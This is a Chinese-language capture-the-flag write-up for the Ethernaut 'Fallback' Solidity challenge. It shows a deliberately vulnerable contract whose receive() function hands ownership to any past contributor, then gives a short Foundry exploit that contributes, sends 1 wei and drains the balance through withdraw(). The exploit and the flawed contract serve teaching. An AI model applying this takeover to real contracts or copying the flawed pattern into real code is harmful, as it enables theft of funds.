Ethernaut 题库闯关 #1 Fallback

Ethernaut 题库闯关第一题解决方案。

今天这篇是Ethernaut 题库闯关连载的第一篇,难度等级:容易。

挑战题#1 - Fallback

本次挑战题,目标是要求获得Fallback合约的所有权,并将其余额减少到0。

Fallback合约源代码如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

本题主要涉及的知识点是 Fallback 回退函数相关的用法。登链社区有相关的文档: Fallback 回退函数

研究合约

首先我们注意到,所使用的Solidity编译器版本是< 0.8.x。这意味着该合约很容易出现数学下溢和上溢的错误。

这个合约导入和使用OpenZeppelin SafeMath库,但没有在代码里使用它。不过这里我们仍然没有办法利用溢出来掏空合约,至少在这个特定的情况下是这样。

耗尽合约的唯一方法是通过withdraw函数,只有当msg.sender等于变量owner的值时才能调用(见onlyOwner函数修改器)。这个函数将把合约中的所有资金转移到 "所有者"地址。

让我们看一下代码:

function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
}

因此,如果我们找到一种方法,将所有者的值改为我们的地址,我们将能够从合约中抽走所有的以太币。

实际上,在合约中,有两个地方的owner变量是用msg.sender更新的

1) contribute函数 2) receive函数

contribute函数

function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if (contributions[msg.sender] > contributions[owner]) {
        owner = msg.sender;
    }
}

这个函数允许msg.sender向合约发送wei。这些wei将被添加到用户的余额中,由contributions映射变量跟踪。

如果用户的总贡献大于当前所有者的贡献(contributions[msg.sender]> contributions[owner]),那么msg.sender将成为新的所有者。

不过问题是,当前所有者的贡献等于1000 ETH(构造函数里设置的)。在挑战的描述中没有明确,但我们可以认为用户开始时的ETH是有限的,并且数额不允许我们比 "所有者"的贡献更多。因此,我们需要找到另一种方法。

receive函数

这是一个 "特殊" 的函数,当有人向合约发送一些以太坊而没有在交易的 "数据"字段中指定任何东西时,receive 就会被 "自动"调用。

引用官方Solidity文档中对receive函数的介绍:

一个合约现在只能有一个 receive 函数,声明的语法是: receive() external payable {...}(没有 function 关键词)。它在没有数据(calldata)的合约调用时执行,例如通过 send() transfer()调用。该函数不能有参数,不能返回任何东西,并且必须有 external 可见性和 payable 状态可变性。

下面是receive函数的代码:

receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
}

receive函数中,只有当与交易一起发送的wei数额>0并且我们在contributions[msg.sender]中的贡献>0时,owner就会更新msg.sender

到这里估计你已经有解决方案了,让我们看看解决方案!

解决方案代码

以下是我们需要做的事情:

1) 用最大的0.001 ether(通过require检查)向合约捐款,调用contribute函数,这样contributions[msg.sender]将大于0 ; 2) 直接向合约发送1 wei,触发receive函数,成为新的owner 3) 调用withdraw,将合约中储存的ETH全部掏空!

下面是Solidity的代码:

function exploitLevel() internal override {
    vm.startPrank(player);

    // send the minimum amount to become a contributor
    level.contribute{value: 0.0001 ether}();

    // send directly to the contract 1 wei, this will allow us to become the new owner
    (bool sent, ) = address(level).call{value: 1}("");
    require(sent, "Failed to send Ether to the level");

    // now that we are the owner of the contract withdraw all the funds
    level.withdraw();
    vm.stopPrank();
}

完整的代码在Fallback.t.sol, 你可以打开文件阅读本挑战的完整解决方案代码。

进一步阅读

  • OpenZeppelin SafeMath库 (仅在 Solidity < 0.8需要)
  • receive 函数相应的文档

免责声明: 此挑战中的所有 Solidity 代码、实践和模式都是非常脆弱的,并且仅用于教育目的。请不要在生产中使用

第一题已经完成,这一关有收获什么灵感么? 明天下一题见。

点赞 5
收藏 2
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

3 条评论

请先 登录 后评论
Ethernaut CTF
Ethernaut CTF
信奉 CODE IS LAW.